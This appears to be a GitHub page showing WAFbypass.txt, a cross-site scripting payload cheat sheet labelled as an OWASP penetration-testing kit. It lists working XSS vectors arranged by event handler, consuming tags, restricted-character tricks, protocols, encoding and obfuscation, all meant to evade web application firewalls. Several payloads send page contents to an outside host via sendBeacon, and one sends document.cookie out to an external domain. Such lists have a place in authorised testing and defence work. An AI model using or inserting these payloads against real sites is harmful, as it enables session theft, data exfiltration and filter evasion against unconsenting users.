-
Notifications
You must be signed in to change notification settings - Fork 0
/
WAFbypass.txt
4319 lines (2811 loc) · 136 KB
/
WAFbypass.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
OWASP Penetration Testing Kit
Event handlers
onafterprint
Fires after the page is printed
<body onafterprint=alert(1)>
onafterscriptexecute
Fires after script is executed
<xss onafterscriptexecute=alert(1)><script>1</script>
onanimationcancel
Fires when a CSS animation cancels
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xss id=x style="position:absolute;" onanimationcancel="print()"></xss>
onanimationend
Fires when a CSS animation ends
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>
onanimationiteration
Fires when a CSS animation repeats
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>
onanimationstart
Fires when a CSS animation starts
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>
onauxclick
Fires when right clicking or using the middle button of the mouse
<input onauxclick=alert(1)>
onbeforecopy
Requires you copy a piece of text
<input onbeforecopy=alert(1) value="XSS" autofocus>
onbeforecut
Requires you cut a piece of text
<input onbeforecut=alert(1) value="XSS" autofocus>
onbeforeinput
Fires when the value of the element is about to be modified
<xss contenteditable onbeforeinput=alert(1)>test
onbeforeprint
Fires before the page is printed
<body onbeforeprint=console.log(1)>
onbeforescriptexecute
Fires before script is executed
<xss onbeforescriptexecute=alert(1)><script>1</script>
onbeforetoggle
Fires before the a popop element is toggled
<button popovertarget=x>Click me</button><xss onbeforetoggle=alert(1) popover id=x>XSS</xss>
onbeforeunload
Fires after if the url changes
<body onbeforeunload=navigator.sendBeacon('//https://ssl.example.com/', document.body.innerHTML)>
onbegin
Fires when a svg animation begins
<svg><path><animateMotion onbegin=alert(1) dur="1s" repeatCount="1">
onblur
Fires when an element loses focus
<xss onblur=alert(1) id=x tabindex=1 style=display:block>test</xss><input value=clickme>
onbounce
Fires when the marquee bounces
<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
oncanplay
Fires if the resource can be played
<video oncanplay=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
oncanplaythrough
Fires when enough data has been loaded to play the resource all the way through
<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
onchange
Requires as change of value
<input onchange=alert(1) value=xss>
onclick
Requires a click of the element
<xss onclick="alert(1)" style=display:block>test</xss>
onclose
Fires when a dialog is closed
<dialog open onclose=alert(1)><form method=dialog><button>XSS</button></form>
oncontextmenu
Triggered when right clicking to show the context menu
<xss oncontextmenu="alert(1)" style=display:block>test</xss>
oncopy
Requires you copy a piece of text
<xss oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
oncuechange
Fires when subtitle changes
<video controls><source src=validvideo.mp4 type=video/mp4><track default oncuechange=alert(1) src="data:text/vtt,WEBVTT FILE 1 00:00:00.000 --> 00:00:05.000 <b>XSS</b> "></video>
oncut
Requires you cut a piece of text
<xss oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
ondblclick
Triggered when double clicking the element
<xss ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</xss>
ondrag
Triggered dragging the element
<xss draggable="true" ondrag="alert(1)" style=display:block>test</xss>
ondragend
Triggered dragging is finished on the element
<xss draggable="true" ondragend="alert(1)" style=display:block>test</xss>
ondragenter
Requires a mouse drag
<xss draggable="true" ondragenter="alert(1)" style=display:block>test</xss>
ondragexit
Triggered when dragging the element
<xss draggable="true" ondragexit="alert(1)" style=display:block>test</xss>
ondragleave
Requires a mouse drag
<xss draggable="true" ondragleave="alert(1)" style=display:block>test</xss>
ondragover
Triggered dragging over an element
<div draggable="true" contenteditable>drag me</div><xss ondragover=alert(1) contenteditable style=display:block>drop here</xss>
ondragstart
Requires a mouse drag
<xss draggable="true" ondragstart="alert(1)" style=display:block>test</xss>
ondrop
Triggered dropping a draggable element
<div draggable="true" contenteditable>drag me</div><xss ondrop=alert(1) contenteditable style=display:block>drop here</xss>
ondurationchange
Fires when duration changes
<video controls ondurationchange=alert(1)><source src=validvideo.mp4 type=video/mp4></video>
onend
Fires when a svg animation ends
<svg><animate onend=alert(1) attributeName=x dur=1s>
onended
Fires when the resource is finished playing
<video controls autoplay onended=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
onerror
Fires when the resource fails to load or causes an error
<body onerror=alert(1) onload=/>
onfinish
Fires when the marquee finishes
<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
onfocus
Fires when the element has focus
<input autofocus onfocus=alert(1)>
onfocusin
Fires when the element has focus
<input autofocus onfocusin=alert(1)>
onfocusout
Fires when an element loses focus
<xss onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</xss><input value=clickme>
onformdata
Triggered when a form is submitted
<form onformdata="alert(1)"><button>Click</button></form>
onfullscreenchange
Fires when a video changes full screen status
<video onfullscreenchange=alert(1) src=validvideo.mp4 controls>
onhashchange
Fires if the hash changes
<body onhashchange="print()">
oninput
Requires as change of value
<input oninput=alert(1) value=xss>
oninvalid
Requires a form submission with an element that does not satisfy its constraints such as a required attribute.
<form><input oninvalid=alert(1) required><input type=submit>
onkeydown
Triggered when a key is pressed
<xss onkeydown="alert(1)" contenteditable style=display:block>test</xss>
onkeypress
Triggered when a key is pressed
<xss onkeypress="alert(1)" contenteditable style=display:block>test</xss>
onkeyup
Triggered when a key is released
<xss onkeyup="alert(1)" contenteditable style=display:block>test</xss>
onload
Fires when the element is loaded
<body onload=alert(1)>
onloadeddata
Fires when the first frame is loaded
<video onloadeddata=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
onloadedmetadata
Fires when the meta data is loaded
<video autoplay onloadedmetadata=alert(1)> <source src="validvideo.mp4" type="video/mp4"></video>
onloadstart
Triggered video is loaded
<video onloadstart="alert(1)"><source></*>
onmessage
Fires when message event is received from a postMessage call
<body onmessage=print()>
onmousedown
Triggered when the mouse is pressed
<xss onmousedown="alert(1)" style=display:block>test</xss>
onmouseenter
Triggered when the mouse is hovered over the element
<xss onmouseenter="alert(1)" style=display:block>test</xss>
onmouseleave
Triggered when the mouse is moved away from the element
<xss onmouseleave="alert(1)" style=display:block>test</xss>
onmousemove
Requires mouse movement
<xss onmousemove="alert(1)" style=display:block>test</xss>
onmouseout
Triggered when the mouse is moved away from the element
<xss onmouseout="alert(1)" style=display:block>test</xss>
onmouseover
Requires a hover over the element
<xss onmouseover="alert(1)" style=display:block>test</xss>
onmouseup
Triggered when the mouse button is released
<xss onmouseup="alert(1)" style=display:block>test</xss>
onmousewheel
Fires when the mousewheel scrolls
<xss onmousewheel=alert(1) style=display:block>requires scrolling
onmozfullscreenchange
Fires when a video changes full screen status
<video onmozfullscreenchange=alert(1) src=validvideo.mp4 controls>
onpagehide
Fires when the page is changed
<body onpagehide=navigator.sendBeacon('//https://ssl.example.com/', document.body.innerHTML)>
onpageshow
Fires when the page is shown
<body onpageshow=alert(1)>
onpaste
Requires you paste a piece of text
<input onpaste=alert(1) value="" autofocus>
onpause
Requires clicking the element to pause
<video autoplay controls onpause=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
onplay
Fires when the resource is played
<video autoplay onplay=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
onplaying
Fires the resource is playing
<video autoplay onplaying=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
onpointerdown
Fires when the mouse down
<xss onpointerdown=alert(1) style=display:block>XSS</xss>
onpointerenter
Fires when the mouseenter
<xss onpointerenter=alert(1) style=display:block>XSS</xss>
onpointerleave
Fires when the mouseleave
<xss onpointerleave=alert(1) style=display:block>XSS</xss>
onpointermove
Fires when the mouse move
<xss onpointermove=alert(1) style=display:block>XSS</xss>
onpointerout
Fires when the mouse out
<xss onpointerout=alert(1) style=display:block>XSS</xss>
onpointerover
Fires when the mouseover
<xss onpointerover=alert(1) style=display:block>XSS</xss>
onpointerrawupdate
Fires when the pointer changes
<xss onpointerrawupdate=alert(1) style=display:block>XSS</xss>
onpointerup
Fires when the mouse up
<xss onpointerup=alert(1) style=display:block>XSS</xss>
onpopstate
Fires when the history changes
<body onpopstate=print()>
onprogress
Fires when the video/audio begins downloading
<video controls onprogress=alert(1)><source src=validvideo.mp4 type=video/mp4></video>
onratechange
Fires when the speed of the video changes
<video controls autoplay onratechange=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
onrepeat
Fires when a svg animation repeats
<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
onreset
Requires a click
<form onreset=alert(1)><input type=reset>
onresize
Fires when the window is resized
<body onresize="print()">
onscroll
Fires when the page scrolls
<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
onscrollend
Fires when the scrolling to the end of the element
<xss onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></xss>
onsearch
Fires when a form is submitted and the input has a type attribute of search
<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
onseeked
Requires clicking the element timeline
<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
onseeking
Requires clicking the element timeline
<video autoplay controls onseeking=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
onselect
Requires you select text
<input onselect=alert(1) value="XSS" autofocus>
onselectionchange
Fires when text selection is changed on the page
<body onselectionchange=alert(1)>select some text
onselectstart
Fires when beginning a text selection
<body onselectstart=alert(1)>select some text
onshow
Fires context menu is shown
<div contextmenu=xss><p>Right click<menu type=context id=xss onshow=alert(1)></menu></div>
onstart
Fires when the marquee starts
<marquee onstart=alert(1)>XSS</marquee>
onsubmit
Requires a form submission
<form onsubmit=alert(1)><input type=submit>
onsuspend
Fires when the video/audio when the data loading is suspended
<video controls onsuspend=alert(1)><source src=validvideo.mp4 type=video/mp4></video>
ontimeupdate
Fires when the timeline is changed
<video controls autoplay ontimeupdate=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
ontoggle
Fires when the details tag is expanded
<details ontoggle=alert(1) open>test</details>
ontoggle(popover)
Fires when the a popop element is toggled
<button popovertarget=x>Click me</button><xss ontoggle=alert(1) popover id=x>XSS</xss>
ontouchend
Fires when the touch screen, only mobile device
<body ontouchend=alert(1)>
ontouchmove
Fires when the touch screen and move, only mobile device
<body ontouchmove=alert(1)>
ontouchstart
Fires when the touch screen, only mobile device
<body ontouchstart=alert(1)>
ontransitioncancel
Fires when a CSS transition cancels
<style>:target {color: red;}</style><xss id=x style="transition:color 10s" ontransitioncancel=print()></xss>
ontransitionend
Fires when a CSS transition ends
<xss id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></xss>
ontransitionrun
Fires when a CSS transition begins
<style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 2s" ontransitionrun=print()></xss>
ontransitionstart
Fires when a CSS transition starts
<style>:target {color:red;}</style><xss id=x style="transition:color 1s" ontransitionstart=alert(1)></xss>
onunhandledrejection
Fires when a promise isn't handled
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
onunload
Fires when the page is unloaded
<svg onunload=navigator.sendBeacon('//https://ssl.example.com/', document.body.innerHTML)>
onvolumechange
Requires volume adjustment
<video autoplay controls onvolumechange=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
onwebkitanimationend
Fires when a CSS animation ends
<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationend="alert(1)"></xss>
onwebkitanimationiteration
Fires when a CSS animation repeats
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></xss>
onwebkitanimationstart
Fires when a CSS animation starts
<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationstart="alert(1)"></xss>
onwebkittransitionend
Fires when a CSS transition ends
<style>:target {color:red;}</style><xss id=x style="transition:color 1s" onwebkittransitionend=alert(1)></xss>
onwheel
Fires when you use the mouse wheel
<body onwheel=alert(1)>
Consuming tags
<noembed><img title="</noembed><img src onerror=alert(1)>"></noembed>
Noembed consuming tag
chrome,firefox,safari
<noscript><img title="</noscript><img src onerror=alert(1)>"></noscript>
Noscript consuming tag
chrome,firefox,safari
<style><img title="</style><img src onerror=alert(1)>"></style>
Style consuming tag
chrome,firefox,safari
<script><img title="</script><img src onerror=alert(1)>"></script>
Script consuming tag
chrome,firefox,safari
<iframe><img title="</iframe><img src onerror=alert(1)>"></iframe>
iframe consuming tag
chrome,firefox,safari
<xmp><img title="</xmp><img src onerror=alert(1)>"></xmp>
xmp consuming tag
chrome,firefox,safari
<textarea><img title="</textarea><img src onerror=alert(1)>"></textarea>
textarea consuming tag
chrome,firefox,safari
<noframes><img title="</noframes><img src onerror=alert(1)>"></noframes>
noframes consuming tag
chrome,firefox,safari
<title><img title="</title><img src onerror=alert(1)>"></title>
Title consuming tag
chrome,firefox,safari
Restricted characters
<script>onerror=alert;throw 1</script>
No parentheses using exception handling
chrome,firefox,safari
<script>{onerror=alert}throw 1</script>
No parentheses using exception handling no semi colons
chrome,firefox,safari
<script>throw onerror=alert,1</script>
No parentheses using exception handling no semi colons using expressions
chrome,firefox,safari
<script>throw onerror=eval,'=alert\x281\x29'</script>
No parentheses using exception handling and string eval on Chrome / Edge
chrome
<script>throw onerror=eval,'alert\x281\x29'</script>
No parentheses using exception handling and string eval on Safari
safari
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
No parentheses using exception handling and object eval on Firefox
firefox
<script>throw onerror=eval,e=new Error,e.message='alert\x281\x29',e</script>
No parentheses using exception handling and object eval on Firefox / Safari
firefox,safari
<script>throw onerror=Uncaught=eval,e=new Error,e.message='/*'+location.hash,!!window.InstallTrigger?e:e.message</script>
No parentheses using exception handling and location hash eval on all browsers
chrome,firefox,safari
<script>throw{},onerror=Uncaught=eval,h=location.hash,e={lineNumber:1,columnNumber:1,fileName:0,message:h[2]+h[1]+h},!!window.InstallTrigger?e:e.message</script>
No parentheses, no quotes, no spaces using exception handling and location hash eval on all browsers
chrome,firefox,safari
<script>throw/x/,onerror=Uncaught=eval,h=location.hash,e=Error,e.lineNumber=e.columnNumber=e.fileName=e.message=h[2]+h[1]+h,!!window.InstallTrigger?e:e.message</script>
No parentheses, no quotes, no spaces, no curly brackets using exception handling and location hash eval on all browsers
chrome,firefox,safari
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
No parentheses using ES6 hasInstance and instanceof with eval
chrome,firefox,safari
<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
No parentheses using ES6 hasInstance and instanceof with eval without .
chrome,firefox,safari
<script>location='javascript:alert\x281\x29'</script>
No parentheses using location redirect
chrome,firefox,safari
<script>location=name</script>
No parentheses using location redirect no strings
chrome,firefox,safari
<script>alert`1`</script>
No parentheses using template strings
chrome,firefox,safari
<script>new Function`X${document.location.hash.substr`1`}`</script>
No parentheses using template strings and location hash
chrome,firefox,safari
<script>Function`X${document.location.hash.substr`1`}```</script>
No parentheses or spaces, using template strings and location hash
chrome,firefox,safari
<video><source onerror=location=/\02.rs/+document.cookie>
XSS cookie exfiltration without parentheses, backticks or quotes
chrome,firefox,safari
<svg onload=alert(1)
XSS without greater than
chrome,firefox,safari
<svg onload=alert(1)<!--
XSS without greater using a HTML comment
chrome,firefox,safari
<script>throw[onerror]=[alert],1</script>
Array based destructuring using onerror
chrome,firefox,safari
<script>var{a:onerror}={a:alert};throw 1</script>
Destructuring using onerror
chrome,firefox,safari
<script>var{haha:onerror=alert}=0;throw 1</script>
Destructuring using default values and onerror
chrome,firefox,safari
<script>window.name='javascript:alert(1)';</script><svg onload=location=name>
Vector using window.name
chrome,firefox,safari
<script>window.name='javascript:alert(1)';function blah(){} blah(""+{a:location=name}+"")</script>
Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using object literal
chrome,firefox,safari
<script>window.name='javascript:alert(1)';function blah(){} blah(""+new class b{toString=e=>location=name}+"")</script>
Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using new class
chrome,firefox,safari
Protocols
<iframe src="javascript:alert(1)">
Iframe src attribute JavaScript protocol
chrome,firefox,safari
<object data="javascript:alert(1)">
Object data attribute with JavaScript protocol
firefox
<embed src="javascript:alert(1)">
Embed src attribute with JavaScript protocol
firefox
<a href="javascript:alert(1)">XSS</a>
A standard JavaScript protocol
chrome,firefox,safari
<a href="JaVaScript:alert(1)">XSS</a>
The protocol is not case sensitive
chrome,firefox,safari
<a href=" javascript:alert(1)">XSS</a>
Characters \x01-\x20 are allowed before the protocol
chrome,firefox,safari
<a href="javas cript:alert(1)">XSS</a>
Characters \x09,\x0a,\x0d are allowed inside the protocol
chrome,firefox,safari
<a href="javascript :alert(1)">XSS</a>
Characters \x09,\x0a,\x0d are allowed after protocol name before the colon
chrome,firefox,safari
<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>
Xlink namespace inside SVG with JavaScript protocol
chrome,firefox,safari
<svg><animate xlink:href=#xss attributeName=href values=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>
SVG animate tag using values
chrome,firefox,safari
<svg><animate xlink:href=#xss attributeName=href from=javascript:alert(1) to=1 /><a id=xss><text x=20 y=20>XSS</text></a>
SVG animate tag using to
chrome,firefox,safari
<svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>
SVG set tag
chrome,firefox,safari
<script src="data:text/javascript,alert(1)"></script>
Data protocol inside script src
chrome,firefox,safari
<svg><script href="data:text/javascript,alert(1)" />
SVG script href attribute without closing script tag
firefox
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>
SVG use element Chrome/Firefox
chrome,firefox
<script>import('data:text/javascript,alert(1)')</script>
Import statement with data URL
chrome,firefox,safari
<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>
Base tag with JavaScript protocol rewriting relative URLS
safari
<math><x href="javascript:alert(1)">blah
MathML makes any tag clickable
firefox
<form><button formaction=javascript:alert(1)>XSS
Button and formaction
chrome,firefox,safari
<form><input type=submit formaction=javascript:alert(1) value=XSS>
Input and formaction
chrome,firefox,safari
<form action=javascript:alert(1)><input type=submit value=XSS>
Form and action
chrome,firefox,safari
<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://example.com?;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text></a>
Animate tag with keytimes and multiple values
chrome,firefox,safari
<a href="javascript://%0aalert(1)">XSS</a>
JavaScript protocol with new line
chrome,firefox,safari
<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8+Cjwvc3ZnPg==#x" /></svg>
Data URL with use element and base64 encoded
chrome,firefox
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" />
Data URL with use element
chrome,firefox
<svg><animate xlink:href="#x" attributeName="href" values="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" /><use id=x />
Animate tag with auto executing use element
chrome,firefox
<embed code=https://example.com width=500 height=500 type=text/html>
Embed supports code attribute
chrome
<object width=500 height=500 type=text/html><param name=url value=https://example.com>
Object tag supports param url
chrome
<object width=500 height=500 type=text/html><param name=code value=https://example.com>
Object tag supports param code
chrome
<object width=500 height=500 type=text/html><param name=movie value=https://example.com>
Object tag supports param movie
chrome
<object width=500 height=500 type=text/html><param name=src value=https://example.com>
Object tag supports param src
chrome
<script>location.protocol='javascript'</script>
Assignable protocol with location
chrome,safari
<a href="%0aalert(1)" onclick="protocol='javascript'">test</a>
Assignable protocol with anchor
chrome,safari
<script>navigation.navigate('javascript:alert(1)')</script>
Navigation navigate method
chrome
Encoding
%C0%BCscript>alert(1)</script> %E0%80%BCscript>alert(1)</script> %F0%80%80%BCscript>alert(1)</script> %F8%80%80%80%BCscript>alert(1)</script> %FC%80%80%80%80%BCscript>alert(1)</script>
Overlong UTF-8
chrome,firefox,safari
<script>\u0061lert(1)</script>
Unicode escapes
chrome,firefox,safari
<script>\u{61}lert(1)</script>
Unicode escapes ES6 style
chrome,firefox,safari
<script>\u{0000000061}lert(1)</script>
Unicode escapes ES6 style zero padded
chrome,firefox,safari
<script>eval('\x61lert(1)')</script>
Hex encoding JavaScript escapes
chrome,firefox,safari
<script>eval('\141lert(1)')</script> <script>eval('alert(\061)')</script> <script>eval('alert(\61)')</script>
Octal encoding
chrome,firefox,safari
<a href="javascript:alert(1)">XSS</a><a href="javascript:alert(1)">XSS</a>
Decimal encoding with optional semi-colon
chrome,firefox,safari
<svg><script>alert(1)</script></svg> <svg><script>alert(1)</script></svg> <svg><script>alert
(1)</script></svg> <svg><script>x="",alert(1)//";</script></svg>
SVG script with HTML encoding
chrome,firefox,safari
<a href="javascript:alert(1)">XSS</a>
Decimal encoding with padded zeros
chrome,firefox,safari
<a href="javascript:alert(1)">XSS</a>
Hex encoding entities
chrome,firefox,safari
<a href="javascript:alert(1)">XSS</a> <a href="j avascript:alert(1)">XSS</a> <a href="j avascript:alert(1)">XSS</a>
Hex encoding without semi-colon provided next character is not a-f0-9
chrome,firefox,safari
<a href="javascript:alert(1)">XSS</a>
Hex encoding with padded zeros
chrome,firefox,safari
<a href="javascript:alert(1)">XSS</a>
Hex encoding is not case sensitive
chrome,firefox,safari
<a href="javascript:alert(1)">XSS</a> <a href="java	script:alert(1)">XSS</a> <a href="java
script:alert(1)">XSS</a> <a href="javascript:alert(1)">XSS</a>
HTML entities
chrome,firefox,safari
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>
URL encoding
chrome,firefox,safari
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>
HTML entities and URL encoding
chrome,firefox,safari
Obfuscation
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
Data protocol inside script src with base64
chrome,firefox,safari
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
Data protocol inside script src with base64 and HTML entities
chrome,firefox,safari
<script src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d></script>
Data protocol inside script src with base64 and URL encoding
chrome,firefox,safari
<iframe srcdoc=<script>alert(1)</script>></iframe>
Iframe srcdoc HTML encoded
chrome,firefox,safari
<iframe src="javascript:'%3Cscript%3Ealert(1)%3C%2Fscript%3E'"></iframe>
Iframe JavaScript URL with HTML and URL encoding
chrome,firefox,safari
<svg><script>\u0061\u006c\u0065\u0072\u0074(1)</script></svg>
SVG script with unicode escapes and HTML encoding
chrome,firefox,safari
<img src=x onerror=location=atob`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4p`>
Img tag with base64 encoding
chrome,firefox,safari
WAF bypass global objects
';window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (window)
chrome,firefox,safari
';self['ale'+'rt'](self['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (self)
chrome,firefox,safari
';this['ale'+'rt'](this['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (this)
chrome,firefox,safari
';top['ale'+'rt'](top['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (top)
chrome,firefox,safari
';parent['ale'+'rt'](parent['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (parent)
chrome,firefox,safari
';frames['ale'+'rt'](frames['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (frames)
chrome,firefox,safari
';globalThis['ale'+'rt'](globalThis['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (globalThis)
chrome,firefox,safari
';window[/*foo*/'alert'/*bar*/](window[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (window)
chrome,firefox,safari
';self[/*foo*/'alert'/*bar*/](self[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (self)
chrome,firefox,safari
';this[/*foo*/'alert'/*bar*/](this[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (this)
chrome,firefox,safari
';top[/*foo*/'alert'/*bar*/](top[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (top)
chrome,firefox,safari
';parent[/*foo*/'alert'/*bar*/](parent[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (parent)
chrome,firefox,safari
';frames[/*foo*/'alert'/*bar*/](frames[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (frames)
chrome,firefox,safari